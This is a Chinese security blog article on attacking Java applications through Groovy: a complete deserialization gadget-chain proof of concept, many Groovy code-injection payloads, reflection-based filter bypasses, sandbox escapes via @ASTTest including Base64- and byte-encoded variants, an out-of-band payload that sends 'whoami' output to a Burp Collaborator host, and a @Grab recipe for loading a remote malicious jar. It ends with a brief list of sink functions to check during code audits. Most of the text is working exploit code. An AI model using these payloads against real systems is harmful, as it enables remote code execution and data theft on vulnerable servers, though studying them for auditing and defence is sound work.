Java安全中Groovy组件从反序列化到命令注入及绕过和在白盒中的排查方法

一颗小胡椒2023-01-13 11:15:16

反序列化

Groovy : 1.7.0-2.4.3

AnnotationInvocationHandler.readObject()    Map.entrySet() (Proxy)        ConversionHandler.invoke()            ConvertedClosure.invokeCustom()                MethodClosure.call()                    ProcessGroovyMethods.execute()
import org.codehaus.groovy.runtime.ConvertedClosure;import org.codehaus.groovy.runtime.MethodClosure;
import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.Base64;import java.util.Map;
public class Groovy_POC {    public static String serialize(Object obj) throws Exception{        ByteArrayOutputStream barr = new ByteArrayOutputStream();        ObjectOutputStream outputStream = new ObjectOutputStream(barr);        outputStream.writeObject(obj);        byte[] bytes = barr.toByteArray();        barr.close();        return Base64.getEncoder().encodeToString(bytes);    }    public static void unserialize(String base64) throws Exception{        byte[] decode = Base64.getDecoder().decode(base64);        ByteArrayInputStream barr = new ByteArrayInputStream(decode);        ObjectInputStream inputStream = new ObjectInputStream(barr);        inputStream.readObject();    }    public static void main(String[] args) throws Exception{        //封装对象        MethodClosure methodClosure = new MethodClosure("calc", "execute");        ConvertedClosure convertedClosure = new ConvertedClosure(methodClosure, "entrySet");        //反射获取AnnotationInvocationHandler构造方法        Class aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");        Constructor constructor = aClass.getDeclaredConstructors()[0];        constructor.setAccessible(true);        //动态代理        Map map = (Map) Proxy.newProxyInstance(ConvertedClosure.class.getClassLoader(), new Class[]{Map.class}, convertedClosure);        //初始化        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);        //序列化        String serialize = serialize(invocationHandler);        System.out.println(serialize);        //反序列化        unserialize(serialize);    }}

代码注入

条件

如果外部可控输入Groovy代码或者外部可上传一个恶意的Groovy脚本,且程序并未对输入的Groovy代码进行有效的过滤,那么会导致恶意的Groovy代码注入,从而RCE

多种命令执行方法

运行这样一个Groovy代码,将会弹出一个计算器,成功执行了命令(def是用来定义标识符)

//其他执行命令执行的方法Runtime.getRuntime().exec("calc")"calc".execute()'calc'.execute()"${"calc".execute()}""${'calc'.execute()}"
//回显的方式println "whoami".execute().textprintln 'whoami'.execute().textprintln "${"whoami".execute().text}"println "${'whoami'.execute().text}"def cmd = "whoami";println "${cmd.execute().text}"

注入点分析

MethodClosure

看看他的构造方法

可以发现他传入了一个对象,第二个是对象的方法,通过其中的docall方法进行调用

但是docall方法是protected修饰的,不能直接调用,调用它的父类Closure的call方法间接调用

package ysoserial.vulndemo;
import org.codehaus.groovy.runtime.MethodClosure;
public class GroovyInject {    public static void main(String[] args) {//        MethodClosure methodClosure = new MethodClosure(Runtime.getRuntime(), "exec");//        methodClosure.call("calc");        MethodClosure methodClosure = new MethodClosure("calc", "execute");        methodClosure.call();    }}

GroovyShell

类中的evaluate方法有多个重载,支持有GroovyCodeSource String File URI 等参数类型,能够通过Groovy代码写入或者本地加载或者远程加载Groovy脚本来执行命令

其中的parse方法就是或者对应的Groovy脚本,之后调用run方法进行执行代码内容

//直接执行Groovy代码GroovyShell shell = new GroovyShell();shell.evaluate("\'calc\'.execute()");
//通过加载本地脚本GroovyShell shell = new GroovyShell();Script script = shell.parse(new File("src/main/java/ysoserial/vulndemo/GroovyTest.groovy"));script.run();
GroovyShell shell = new GroovyShell();shell.evaluate(new File("src/main/java/ysoserial/vulndemo/GroovyTest.groovy"));
//通过加载远程脚本GroovyShell shell = new GroovyShell();shell.evaluate(new URI("http://127.0.0.1:8888/GroovyTest.groovy"));

这里的url和Groovy代码同样可以通过GroovyCodeSource封装之后执行evalute执行代码

GroovyScriptEngine

GroovyScriptEngine可从指定的位置(文件系统、URL、数据库等等)加载Groovy脚本,并且随着脚本变化而重新加载它们

其构造方法存在重载的方式,可以指定远程Url/根文件位置/ClassLoader

之后通过使用run方法回显,有两个重载,一个是传入脚本名和对应的参数,另一个是脚本名和Binding对象

//通过传入根路径之后调用对应的脚本GroovyScriptEngine scriptEngine = new GroovyScriptEngine("src/main/java/ysoserial/vulndemo");scriptEngine.run("GroovyTest.groovy", "");
//通过调用远程url之后调用特定脚本GroovyScriptEngine scriptEngine = new GroovyScriptEngine("http://127.0.0.1:8888/");scriptEngine.run("GroovyTest.groovy", "");
//通过Binding加载GroovyScriptEngine scriptEngine = new GroovyScriptEngine("");scriptEngine.run("src/main/java/ysoserial/vulndemo/GroovyTest.groovy", new Binding());

GroovyClassLoader

GroovyClassLoader是一个定制的类装载器,负责解释加载Java类中用到的Groovy类,重写了loadClass和defineClass方法

parseClass 可以直接从文件或者字符串中获取groovy类

//从文件中获取Groovy类GroovyClassLoader groovyClassLoader = new GroovyClassLoader();Class aClass = groovyClassLoader.parseClass(new File("src/main/java/ysoserial/vulndemo/GroovyTest.groovy"));GroovyObject object = (GroovyObject) aClass.newInstance();object.invokeMethod("main", "");
//从文本中获取Groovy类GroovyClassLoader groovyClassLoader = new GroovyClassLoader();Class aClass = groovyClassLoader.parseClass("class GroovyTest {" +"    static void main(args){" +"        println \"${'whoami'.execute().text}\"" +"" +"    }" +"}");GroovyObject groovyObject = (GroovyObject) aClass.newInstance();groovyObject.invokeMethod("main", "");

ScriptEngine

在ScriptEngine中,支持名为“groovy”的引擎,可用来执行Groovy代码。这点和在SpEL表达式注入漏洞中讲到的同样是利用ScriptEngine支持JS引擎从而实现绕过达到RCE是一样的

ScriptEngine scriptEngine = new ScriptEngineManager().getEngineByName("groovy");System.out.println(scriptEngine.eval("\"whoami\".execute().text"));

bypass方法

反射+字符串拼接

import java.lang.reflect.Method;Class rt = Class.forName("java.la" + "ng.Run" + "time");Method gr = rt.getMethod("getR" + "untime");Method ex = rt.getMethod("ex" + "ec", String.class);ex.invoke(gr.invoke(null), "ca" + "lc")

Groovy沙箱绕过

Groovy代码注入都是注入了execute()函数,从而能够成功执行Groovy代码,这是因为不是在Jenkins中执行即没有Groovy沙箱的限制。但是在存在Groovy沙箱即只进行AST解析无调用或限制execute()函数的情况下就需要用到其他技巧了

@AST注解执行断言

https://www.groovy-lang.org/metaprogramming.html#_available_ast_transformations

利用AST注解能够执行断言从而实现代码执行

//@AST注解执行断言this.class.classLoader.parseClass("""    @groovy.transform.ASTTest(value={        assert Runtime.getRuntime().exec("calc")    })    def x""")
//OOB
@groovy.transform.ASTTest(value={cmd = "whoami";out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";java.lang.Runtime.getRuntime().exec(cmd2.split(" "))})def x
//使用Base64编码this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJjYWxjIil9KWRlZiB4")))
//同样可以直接使用Bytethis.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

模拟受害者:

class TestScript {    static void main(String[] args) {        //加载恶意脚本        GroovyShell shell = new GroovyShell()        shell.parse(new File("Test.groovy")).run();    }}

@Grab注解加载远程恶意类

Grape是Groovy内建的一个动态Jar依赖管理程序,允许开发者动态引入不在ClassPath中的函式库

需要导入ivy依赖,不然会报错(你可以试试)

<dependency>    <groupId>org.apache.ivygroupId>    <artifactId>ivyartifactId>    <version>2.4.0version>dependency>
POC
//@Grab注解加载远程恶意类this.class.classLoader.parseClass("""    @GrabConfig(disableChecksums=true)    @GrabResolver(name="Poc", root="http://127.0.0.1:8888/")    @Grab(group="Poc", module="EvilJar", version="0")    import java.lang.String""");

这里的加载依赖会看本地仓库是否有,如果没有就从root服务器的group/module/version目录里面下载EvilJar-0.jar文件,默认存放在~/.groovy/grapes目录下

之后使用processOtherServices方法处理其他服务,比如这里的name

我们就需要在服务器上编写一个恶意类

//Poc.javapublic class Poc{    Poc() throws Exception{        Runtime.getRuntime().exec("calc");    }}
//编译成.class文件javac Poc.java//创建目录mkdir -p META-INF/services///在org.codehaus.groovy.plugins.Runners中写入加载的类名Pocecho Poc > META-INF/services/org.codehaus.groovy.plugins.Runners//将.class文件打包成jar包jar cvf module-version.jar Poc.class META-INF///创建放jar包的目录mkdir -p group/module/version///将jar包复制到该目录下mv module-version.jar group/module/version//之后开启http服务

排查方法

排查关键类函数特征:

关键类关键函数groovy.lang.GroovyShellevaluategroovy.util.GroovyScriptEnginerungroovy.lang.GroovyClassLoaderparseClassjavax.script.ScriptEngineeval

序列化groovy
本作品采用《CC 协议》,转载必须注明作者和本文链接
Java安全中Groovy组件从反序列化到命令注入及绕过和在白盒中的排查方法
序列化的核心思维旨在,将A变成B,最后再从B还原回A。 总之,在一些条件苛刻或者变化无常的环境与需求中,产生了这种灵活的可逆性的B的中间体。 理解不安全反序列化的最好方法是了解不同的编程语言如何实现序列化和反序列化。这里的序列化与反序列化指的是程序语言中自带的实施与实现。而非自创或者自定义的序列化与反序列化机制(比如:N进制形式hashmap树型等其他数据结构里的序列化中间体)。
weblogic T3 attack&cve
2023-03-29 10:07:32
定义了固定的t3header和反序列化标志头fe010000。RFC1700规定使用“大端”字节序为网络字节序,所以对生成的payload使用>大端模式打包,I表示unsigned int。CVE-2016-0638复现需要打补丁,找不到懒得打了,简单说一下绕过,不写poc了黑名单列表为:+org.apache.c
JNDI漏洞利用探索
2022-01-23 19:33:23
最近学习了浅蓝师傅寻找的一些JNDI漏洞的利用链受益匪浅,自己也尝试关于JNDI漏洞利用做一些挖掘,目前JN
最近Log4j的漏洞引起了很多师傅对JNDI注入漏洞利用的研究,浅蓝师傅的文章探索高版本 JDK 下 JNDI漏洞的利用方法提出了很多关于绕过JNDI高版本限制的方法,本文主要是对文章中的部分方法进行分析并加上一些我个人的思考。 前言
CISA最近发出警告,攻击者正在使用Log4Shell利用VMWare Horizon服务器来发起攻击。到目前为止,对 Log4Shell 的大量利用都集中在众所周知的、广泛部署的应用程序上,例如 VMware Horizon、VMware vCenter 和 Unifi Network 应用程序。这样做的目的是介绍Log4Shell 的广泛和长期影响以及开发漏洞利用的速度。研究人员只发现其中约 20 个使用 Shodan 公开曝光。Log4Shell 的 Elasticsearch 声明称,由于 Elasticsearch 使用 Java Security Manager锁定权限的方式,只有 Elasticsearch 5 容易受到远程代码执行的影响。
最近两个月我一直在做拒绝服务漏洞相关的时间,并收获了Spring和Weblogic的两个CVE但DoS漏洞终归是鸡肋洞,并没有太大的意义,比如之前有人说我只会水垃圾洞而已,所以在以后可能打算做其他方向早上和pyn3rd师傅聊天
浅谈Java反序列化漏洞
2022-05-17 17:48:01
Java序列化与反序列化Java 提供了一种对象序列化的机制,该机制中,一个对象可以被表示为一个字节序列,该字节序列包括该对象的数据、有关对象的类型的信息和存储在对象中数据的类型。反序列化就是打开字节流并重构对象。对象序列化不仅要将基本数据类型转换成字节表示,有时还要恢复数据。
java序列化与反序列化
2022-04-13 16:35:35
java反序列化指字节序列恢复到java对象。bit,则一个字最大为 FFFF。序列化是把对象转换成有序字节流,以便在网络上传输或者保存在本地文件中。序列化后的字节流保存了Java对象的状态以及相关的描述信息。序列化机制的核心作用就是对象状态的保存与重建。
一颗小胡椒
暂无描述